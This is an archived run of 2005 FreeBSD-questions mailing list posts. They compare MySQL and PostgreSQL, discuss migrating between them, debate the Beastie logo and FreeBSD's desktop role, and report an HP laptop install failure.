<420D2F12.8020808@comcast.net> <200502111859.10482.ean@hedron.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="vtzGhvizbBRQ85DL" Content-Disposition: inline In-Reply-To: <200502111859.10482.ean@hedron.org> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [68.163.189.143] at Fri, 11 Feb 2005 18:07:45 -0600 Subject: Re: SQL Questions (MySQL or PostgreSQL?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 00:07:47 -0000 --vtzGhvizbBRQ85DL Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Then again, you could just ride the fence and install them both . . . I'd also suggest you start with MySQL though. As mentioned previously, it's the more commonly used DB. I started with PostgreSQL, and wound up having to install MySQL anyway because I wanted to try some apps that requred it. No big deal, they listen on different ports, and if you aren't running anything "real life" you won't notice them on a reasonably modern system. Besides, there are more MySQL books out there. Lou On 02/11/05 06:59 PM, Ean Kingston sat at the `puter and typed: > On February 11, 2005 05:17 pm, Sean wrote: > > Jan Branbergen wrote: > > >>I would like to install SQL here for my own use, not for any real life > > >> > > >>currently, round now for learning. > > >> > > >>Right now plan to install MySQL. > > >>Looking through the ports there is numerous version and some say for > > >> > > >>server, some say for client. > > >> > > >>Looking for some tips as to what version of SQL and tools to > > >>install? > > >>Also wondering if anyone can point me towards documentation in my > > >>learning efforts? > > > > > > i would like to suggest PostgreSQL if your objective is learning SQL. > > > MySQL only provides a subset. > > > > > > it is by no means more complicated to install or to get started. > > > > > > regards, > > > > > > Jan > > > > What is the difference between PostgreSQL and MySQL? > > From what I see MySQL seems to be more common. >=20 > From a basic design standpoint, MySQL was designed to be a fast language= =20 > compatible RDBMS system. To achieve that goal they cut out a lot of featu= res.=20 > Particularly those related to integrity, consistency, and validity checki= ng. >=20 > Postgres is designed to be a fully functional RDBMS that complies with th= e SQL=20 > standard. It includes integrity, consistency, and validity checking that= =20 > MySQL lacks. >=20 > I also think one of the reasons that MySQL is more common than Postgres i= s=20 > because when they were both starting out, MySQL got a functional RDBMS ou= t=20 > much sooner than Postgres did and when Postgres did get theirs out, MySQL= was=20 > a lot faster (because of the lack of data validation). Postgres has since= =20 > closed the gap a lot on the speed issues while keeping the data integrity. >=20 > On the other hand, there are a lot more tools that make managing a MySQL= =20 > server easier. >=20 > --=20 > Ean Kingston >=20 > E-Mail: ean AT hedron DOT org > URL: http://www.hedron.org/ > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" >=20 --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Factorials were someone's attempt to make math LOOK exciting. --vtzGhvizbBRQ85DL Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCDUjIr4Wi/oDI2aIRAtxoAJ9bc1L9K0R+z8uynsaRV0GF/Z9LbwCdHdKN DXWIItHzMp0q6T55NOoT8O0= =7JNN -----END PGP SIGNATURE----- --vtzGhvizbBRQ85DL-- From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 00:19:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E611616A4CE for ; Sat, 12 Feb 2005 00:19:04 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id DBC8643D2D for ; Sat, 12 Feb 2005 00:19:03 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [192.168.0.32] (charm.daemonsecurity.com [192.168.0.32]) by top.daemonsecurity.com (Postfix) with ESMTP id B021DFD01F for ; Sat, 12 Feb 2005 01:19:01 +0100 (CET) Message-ID: <420D4B72.8060804@locolomo.org> Date: Sat, 12 Feb 2005 01:18:58 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: "freebsd-questions@freebsd.org" References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> <420D2F12.8020808@comcast.net> <1108161011.23699.98.camel@lorna.circlesquared.com> In-Reply-To: <1108161011.23699.98.camel@lorna.circlesquared.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: SQL Questions -> migrating MySQL to PostgreSQL? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 00:19:05 -0000 Peter Risdon wrote: > Postgresql is an excellent dbms and well worth a look. But if you're > starting out, I think mysql is the place to be. Ok, since the discussion is up, I have used MySQL for years, no problem serves my needs. Yet, I'd like to try out that PostgreSQL so many talks about. So, how do I migrate? I want to dump my mysql database - not big - and load it all into postgresql - of course it's perlable, but maybe there is an easier solution. Second, what do I need to change in my php scripts? Thanks, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 00:28:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CF7C916A4CE for ; Sat, 12 Feb 2005 00:28:40 +0000 (GMT) Received: from smtp100.rog.mail.re2.yahoo.com (smtp100.rog.mail.re2.yahoo.com [206.190.36.78]) by mx1.FreeBSD.org (Postfix) with SMTP id 04EB143D3F for ; Sat, 12 Feb 2005 00:28:40 +0000 (GMT) (envelope-from Mike.Jeays@rogers.com) Received: from unknown (HELO ?192.168.2.100?) (mjeays2551@24.114.152.139 with plain) by smtp100.rog.mail.re2.yahoo.com with SMTP; 12 Feb 2005 00:28:39 -0000 From: Mike Jeays To: Erik Norgaard In-Reply-To: <420D4B72.8060804@locolomo.org> References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> <420D2F12.8020808@comcast.net> <1108161011.23699.98.camel@lorna.circlesquared.com> <420D4B72.8060804@locolomo.org> Content-Type: text/plain Message-Id: <1108168118.700.37.camel@chaucer.jeays.ca> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Fri, 11 Feb 2005 19:28:38 -0500 Content-Transfer-Encoding: 7bit cc: "freebsd-questions@freebsd.org" Subject: Re: SQL Questions -> migrating MySQL to PostgreSQL? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 00:28:40 -0000 On Fri, 2005-02-11 at 19:18, Erik Norgaard wrote: > Peter Risdon wrote: > > Postgresql is an excellent dbms and well worth a look. But if you're > > starting out, I think mysql is the place to be. > > Ok, since the discussion is up, I have used MySQL for years, no problem > serves my needs. Yet, I'd like to try out that PostgreSQL so many talks > about. So, how do I migrate? > > I want to dump my mysql database - not big - and load it all into > postgresql - of course it's perlable, but maybe there is an easier > solution. Second, what do I need to change in my php scripts? > > Thanks, Erik There is an article on converting a database from MySQL to PostgreSQL on the FreeBSD Diary. I have done it myself with a very small database - I just did a mysqldump, and made a few edits by hand to remove MySQLisms, and then loaded it with psql. No major gotchas at all. I prefer PostgreSQL - it seems a more complete and professional product to me - not to speak ill of MySQL, which is enormously successful. A pity that PgAccess still needs lots of work, as a competitor to Access. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 00:30:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4D8EC16A4CE for ; Sat, 12 Feb 2005 00:30:03 +0000 (GMT) Received: from mail.gmx.net (pop.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 62D6543D1F for ; Sat, 12 Feb 2005 00:30:02 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 12 Feb 2005 00:30:01 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp019) with SMTP; 12 Feb 2005 01:30:01 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: Erik Norgaard , "freebsd-questions@freebsd.org" Date: Sat, 12 Feb 2005 01:24:26 +0100 X-Mailer: KMail [version 1.3.2] References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> <1108161011.23699.98.camel@lorna.circlesquared.com> <420D4B72.8060804@locolomo.org> In-Reply-To: <420D4B72.8060804@locolomo.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050212003002.62D6543D1F@mx1.FreeBSD.org> Subject: Re: SQL Questions -> migrating MySQL to PostgreSQL? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 00:30:03 -0000 well, i havent done that one yet, but you might want to have a look onto this page, that i just "discovered" via google: http://www.sitepoint.com/article/site-mysql-postgresql-1 there are many more articles about this one. i hope this helps you further. Greetings Oliver Leitner Technical Staff http://www.shells.at On Saturday 12 February 2005 01:18, Erik Norgaard wrote: > Peter Risdon wrote: > > Postgresql is an excellent dbms and well worth a look. But if you're > > starting out, I think mysql is the place to be. > > Ok, since the discussion is up, I have used MySQL for years, no problem > serves my needs. Yet, I'd like to try out that PostgreSQL so many talks > about. So, how do I migrate? > > I want to dump my mysql database - not big - and load it all into > postgresql - of course it's perlable, but maybe there is an easier > solution. Second, what do I need to change in my php scripts? > > Thanks, Erik -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 00:31:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 78D1416A4CE for ; Sat, 12 Feb 2005 00:31:24 +0000 (GMT) Received: from ms-smtp-03-eri0.socal.rr.com (ms-smtp-03-qfe0.socal.rr.com [66.75.162.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3D43F43D1D for ; Sat, 12 Feb 2005 00:31:22 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1C0VHuY024397; Fri, 11 Feb 2005 16:31:18 -0800 (PST) From: Robert Marella To: Jerry McAllister In-Reply-To: <200502112325.j1BNPw201164@clunix.cl.msu.edu> References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> Content-Type: text/plain Date: Fri, 11 Feb 2005 14:34:37 -1000 Message-Id: <1108168477.45718.19.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: kjelderg@gmail.com cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 00:31:24 -0000 On Fri, 2005-02-11 at 18:25 -0500, Jerry McAllister wrote: > > > > athony atkielski =~ /tm452\d/ ? > > I was beginning to suspect some such. > Maybe worse. > > ////jerry > Jerry and Eric If I can remember correctly, I have received help from both of you on some of my previous posts. I thank you and I always enjoy reading your view points. This post is no exception but I happen to find Anthony's views on this subject both provocative and right on the money. We have all run into a problem with a printer, NIC, scanner that is "not supported" by FreeBSD because the vendor will not release the drivers or code needed to build a driver. The vendor could care less if our mascot is a daemon or Mount Fujiyama. The vendor looks at the bottom line. How much engineer/programmer time will it take and can I recover the investment. The vendor looks at the number of installed systems and the competition for his product and makes a _business_ decision. Anthony's point, and I agree, is that everything will grow when our OS is taken for its strengths. It is difficult to get to the point of our strengths when the Suits see a representation of what they perceive as; childish or anti-christ or cartoonish whether justified or not. First impressions are important. Robert P.S. I like beastie... but I like the OS much better! From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 00:36:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3A85316A4CE for ; Sat, 12 Feb 2005 00:36:57 +0000 (GMT) Received: from smtp3.server.rpi.edu (smtp3.server.rpi.edu [128.113.2.3]) by mx1.FreeBSD.org (Postfix) with ESMTP id B6C9143D46 for ; Sat, 12 Feb 2005 00:36:56 +0000 (GMT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp3.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1C0atCk020905; Fri, 11 Feb 2005 19:36:55 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <200502111456.56011.krinklyfig@spymac.com> References: <200502092223.01650.algould@datawok.com> <200502111434.24639.krinklyfig@spymac.com> <1933693940.20050211234413@wanadoo.fr> <200502111456.56011.krinklyfig@spymac.com> Date: Fri, 11 Feb 2005 19:36:54 -0500 To: Joshua Tinnin , freebsd-questions@freebsd.org From: Garance A Drosihn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) cc: Anthony Atkielski Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 00:36:57 -0000 At 2:56 PM -0800 2/11/05, Joshua Tinnin wrote: >On Friday 11 February 2005 02:44 pm, Anthony Atkielski > wrote: >> Joshua Tinnin writes: > > > Hmmm, let's see, Anthony Atielski, 30 posts on this subject > > > alone, on a tech help list. Makes you wonder what sort of > > > priorities you have. > > >> At the moment, I'm worried about FreeBSD. > >Listen. > >You come in here making vague accusations of legal wrongdoing, >not just once, but TWICE! With no foundation or background, I >might add. You make these accusations with close to zero actual >knowledge of the situations involved. Do you know what that's >called? That's called a cartooney threat. Oh come on now. Given the recent cartoony lawsuit by SCO against IBM over Linux, I can understand his concern. *He* is not threatening anyone, he's just asking a few worthwhile questions. And the answer is that the Project is well aware that it needs to pay attention to these legal issues. First off, we already won the earlier AT&T lawsuit against FreeBSD, and second off we did notice the SCO lawsuit. We are checking in with lawyers more than we used to, and deciding just how far we need to go wrt these issues. Even if we could easily win any cartoony lawsuit, the lawsuit itself takes money and time-resources that we would rather not lose. Certainly the AT&T lawsuit in the 1990's caused a major slowdown in progress for FreeBSD while it was being fought. Speaking as a programmer, it is very very annoying that we have to spend time on these issues, but the fact remains that we *DO* have to pay attention to them. -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 00:43:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1510516A4CE; Sat, 12 Feb 2005 00:43:43 +0000 (GMT) Received: from zeus.acuson.com (ac17860.acuson.com [157.226.71.80]) by mx1.FreeBSD.org (Postfix) with ESMTP id C132043D31; Sat, 12 Feb 2005 00:43:42 +0000 (GMT) (envelope-from DavidJohnson@Siemens.com) Received: from [157.226.230.208] (port=1046 helo=mvaexch01.acuson.com) by zeus.acuson.com with esmtp (Exim 4.30) id 1CzlGB-0007W8-6A; Fri, 11 Feb 2005 16:35:43 -0800 Received: by mvaexch01.acuson.com with Internet Mail Service (5.5.2657.72) id ; Fri, 11 Feb 2005 16:27:21 -0800 Message-ID: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> From: Johnson David To: "'freebsd-questions@freebsd.org'" , freebsd-advocacy@freebsd.org Date: Fri, 11 Feb 2005 15:00:09 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: RE: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 00:43:43 -0000 From: Anthony Atkielski [mailto:atkielski.anthony@wanadoo.fr] > > Because FreeBSD is a server, not a desktop. Agree and disagree. While FreeBSD is well suited for the server, it's also well suited for the desktop. That doesn't mean that we should be stressing the desktop to those shopping for servers, instead it means that we shouldn't be telling those shopping for desktops to go use Linux instead. How many business will be running Linux on the desktop but FreeBSD on the server? None! Currently Windows rules the desktop world, even for diehard Unix shops. But that will not last forever. We need to start thinking about the desktop today. We need to stop the official discouragement of desktop FreeBSD. So how about a "www.serverfreebsd.com" and a "www.desktopfreebsd.com"? You get the best of both worlds that way. David From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 00:55:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 410CF16A4CE for ; Sat, 12 Feb 2005 00:55:51 +0000 (GMT) Received: from mta4.srv.hcvlny.cv.net (mta4.srv.hcvlny.cv.net [167.206.5.70]) by mx1.FreeBSD.org (Postfix) with ESMTP id EE07F43D39 for ; Sat, 12 Feb 2005 00:55:50 +0000 (GMT) (envelope-from bsdnooby@optonline.net) Received: from [192.168.0.26] (ool-43532b7b.dyn.optonline.net [67.83.43.123]) by mta4.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0IBR009M2X5HEM@mta4.srv.hcvlny.cv.net> for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 19:53:42 -0500 (EST) Received: from 127.0.0.1 (AVG SMTP 7.0.300 [265.8.7]); Fri, 11 Feb 2005 19:53:32 -0500 Date: Fri, 11 Feb 2005 19:53:31 -0500 From: bsdnooby To: freebsd-questions@freebsd.org Message-id: <420D538B.8080906@optonline.net> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) Subject: HP Pavillion zv5445us shuts down during install of 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 00:55:51 -0000 HP Pavillion zv5445us shuts down during install of 5.3 Right after the screen when you can choose to disable ACPI or to boot in SafeMode (both of which I tried), after making a selection - it shutsdown. I'm trying to install 5.3 from both floppies and CD1. I'm dualbooting Win XP Pro using PartitionMagic8/BootMagic8 - but I do not think that is related. My other Toshiba laptop is using a similar configuration, and works fine. I saw in Google where at least 1 other person had this problem, but there was no resolution. This is a new laptop, P4-3Ghz, 512MB, 100GB drive, LAN & Wifi, etc. Anyone have success with the newer HP pavillions? thx -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 265.8.7 - Release Date: 2/10/2005 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 01:11:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 81BBF16A4CE for ; Sat, 12 Feb 2005 01:11:36 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 522AA43D3F for ; Sat, 12 Feb 2005 01:11:36 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1Czlor-0001qv-SF; Fri, 11 Feb 2005 18:11:34 -0700 In-Reply-To: <1108168477.45718.19.camel@p4> References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <0891B1BF-7C93-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 18:11:32 -0700 To: Robert Marella X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 01:11:36 -0000 On Feb 11, 2005, at 5:34 PM, Robert Marella wrote: > On Fri, 2005-02-11 at 18:25 -0500, Jerry McAllister wrote: >>> >>> athony atkielski =~ /tm452\d/ ? >> >> I was beginning to suspect some such. >> Maybe worse. >> >> ////jerry >> > Jerry and Eric > > If I can remember correctly, I have received help from both of you on > some of my previous posts. I thank you and I always enjoy reading your > view points. > > This post is no exception but I happen to find Anthony's views on this > subject both provocative and right on the money. Jerry and Eric were not talking about Anthony and his views on the logo issue when they wrote that. They were talking about his trolling posts about the codebase and its legality and demanding an answer in this forum instead of going to the people who could best answer him. I agree that Anthony is spot on with regards the logo. Chad From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 01:15:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8005C16A4CE; Sat, 12 Feb 2005 01:15:44 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4071443D2F; Sat, 12 Feb 2005 01:15:44 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1Czlsq-0002Ke-7Y; Fri, 11 Feb 2005 18:15:44 -0700 In-Reply-To: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <918389C2-7C93-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 18:15:22 -0700 To: Johnson David X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-advocacy@freebsd.org cc: "'freebsd-questions@freebsd.org'" Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 01:15:44 -0000 On Feb 11, 2005, at 4:00 PM, Johnson David wrote: > From: Anthony Atkielski [mailto:atkielski.anthony@wanadoo.fr] >> >> Because FreeBSD is a server, not a desktop. > > Agree and disagree. While FreeBSD is well suited for the server, it's > also > well suited for the desktop. Anthony had the same misguided opinion in the Apache Users mailing list. > That doesn't mean that we should be stressing > the desktop to those shopping for servers, instead it means that we > shouldn't be telling those shopping for desktops to go use Linux > instead. > How many business will be running Linux on the desktop but FreeBSD on > the > server? None! But you will find lots of people with FreeBSD on the Server and OS X on the desktop! Not to say that you cannot run a FreeBSD desktop. And any efforts to make that easier are applauded. I used to run Linux on the desktop[1] and FreeBSD on the server. Setting up Linux as a desktop at the time (1990-2000 timeframe) was so much easier. I don't know about now, but with Linux (SuSE is what I used back then) it was as easy as setting up Windows. Chad [1] and Windows 2000 :-( and Mac OS 8/9 and Rhapsody and the beta for OS X From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 01:18:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D699016A4CE for ; Sat, 12 Feb 2005 01:18:30 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.198]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6B56743D3F for ; Sat, 12 Feb 2005 01:18:30 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so378580rnf for ; Fri, 11 Feb 2005 17:18:29 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=ALi3MLVKW10YhM0I/+OZIjyU36Cm1/uypDsDNJ+wkghFyXqhE0WMquoO9N/eBt3ySRohbGmCxe6J9RRqKtmnwmKCy4K7sd5mKplsrB8rEeeYDlBsoMNcKXR6Ty5ZLTv8BIGmXgPk4jADyL79SYOHEa9eqXlo7V1P2eJa5Vxp+zk= Received: by 10.38.70.9 with SMTP id s9mr163944rna; Fri, 11 Feb 2005 17:18:29 -0800 (PST) Received: by 10.38.101.19 with HTTP; Fri, 11 Feb 2005 17:18:29 -0800 (PST) Message-ID: Date: Fri, 11 Feb 2005 19:18:29 -0600 From: Eric Kjeldergaard To: Robert Marella In-Reply-To: <1108168477.45718.19.camel@p4> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4> cc: Jerry McAllister cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 01:18:31 -0000 > If I can remember correctly, I have received help from both of you on > some of my previous posts. I thank you and I always enjoy reading your > view points. (speaking on behalf of Jerry as well as myself, and making some wild assumptions about Jerry based on his previous posts) Always glad to help. That's kind of what we are here for. > We have all run into a problem with a printer, NIC, scanner that is "not > supported" by FreeBSD because the vendor will not release the drivers or > code needed to build a driver. Actually, I haven't. I know some people that have, but generally between using the hardware list and buying hardware that isn't obscure, I have no problems with support for hardware. The FreeBSD team goes way beyond my expectations again and again. > The vendor could care less if our mascot is a daemon or Mount Fujiyama. > The vendor looks at the bottom line. How much engineer/programmer time > will it take and can I recover the investment. The vendor looks at the > number of installed systems and the competition for his product and > makes a _business_ decision. Seems about right. That is how capitalism functions.. > Anthony's point, and I agree, is that everything will grow when our OS > is taken for its strengths. It is difficult to get to the 